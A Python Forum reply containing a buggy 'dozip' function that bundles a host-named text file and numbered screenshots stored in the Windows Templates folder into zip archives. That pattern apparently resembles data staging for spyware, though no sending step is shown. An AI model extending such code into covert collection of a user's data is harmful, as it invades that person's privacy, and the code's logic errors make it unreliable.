Python Forum
Thread Rating:
  • 0 Vote(s) - 0 Average
  • 1
  • 2
  • 3
  • 4
  • 5
Working with existing files
#4
the dozip is a function that takes the files in folder X and zipps them to folder Y.
I can call it whenever I choose to.
I'm trying to make everything re-usable.

def dozip(duration, limit):
    print(f"[i]Zipping in {duration} seconds...")
    time.sleep(duration)
    root_dir = f"{os.environ['appdata']}" + f"\\Microsoft\Windows\Templates\\"
    z = 1
    i = 1
    file_name = f"{sysinfo.node}[{i}].zip"
    root_files = os.listdir(root_dir)
    zip_files.extend(root_dir)
    while len(zip_files) > 0:
        zipper = ZipFile(f"c:\\Users\\{os.getlogin()}\\Videos\\"
                         f"{sysinfo.node}[{len(zip_files)}].zip", 'w') 

        try:
            zipper.write(f"{os.environ['appdata']}" + f"\\Microsoft\\Windows\\Templates\\"
                                                      f"{sysinfo.node}.txt", f"{sysinfo.node}.txt")
        except FileNotFoundError as e:
            print(f"[!]File not found:\n{e}")
            pass

        try:
            for z in range(limit):
                zipper.write(f"{os.environ['appdata']}" + 
                             f"\\Microsoft\\Windows\\Templates\\" 
                             f"{sysinfo.node}[{z + 1}].png", f"{sysinfo.node}[{z + 1}].png")
                z += 1
                if z >= limit:
                    continue

        except FileNotFoundError as e:
            print(f"[!]File not found:\n{e}")
            pass

        zipper.close()
        print("[+]Zipped!")
        zip_files.append(f"{sysinfo.node}[{len(zip_files) -1}].zip")

        return zipper
Reply


Messages In This Thread
Working with existing files - by Gilush - Feb-09-2021, 05:01 AM
RE: Working with existing files - by Gilush - Feb-09-2021, 06:42 AM
RE: Working with existing files - by bowlofred - Feb-09-2021, 06:48 AM
RE: Working with existing files - by Gilush - Feb-09-2021, 07:26 PM
RE: Working with existing files - by Gilush - Feb-09-2021, 11:54 AM
RE: Working with existing files - by Gilush - Feb-09-2021, 12:15 PM
RE: Working with existing files - by nilamo - Feb-10-2021, 04:59 PM
RE: Working with existing files - by Gilush - Feb-10-2021, 08:55 PM

Possibly Related Threads…
Thread Author Replies Views Last Post
  Open files in an existing window instead of new Kostov 2 459 Apr-13-2024, 07:22 AM
Last Post: Kostov
  Add\insert header row existing csv files mg24 0 772 Oct-05-2022, 06:11 AM
Last Post: mg24
  Working with excel files arsouzaesilva 6 3,344 Sep-17-2021, 06:52 PM
Last Post: arsouzaesilva
  filecmp is not working for UTF-8 BOM encoded files sureshnagarajan 3 2,706 Feb-10-2021, 11:17 AM
Last Post: sureshnagarajan
  Unrelated new function causing existing working function to fail Nick_G 2 2,337 Jan-27-2020, 07:21 PM
Last Post: Nick_G
  working with more excel files Krszt 1 2,524 Mar-13-2019, 11:41 AM
Last Post: perfringo
  Working with files and dictionaries OmarSinno 1 2,651 Oct-30-2017, 11:02 AM
Last Post: wavic

Forum Jump:

User Panel Messages

Announcements
Announcement #1 8/1/2020
Announcement #2 8/2/2020
Announcement #3 8/6/2020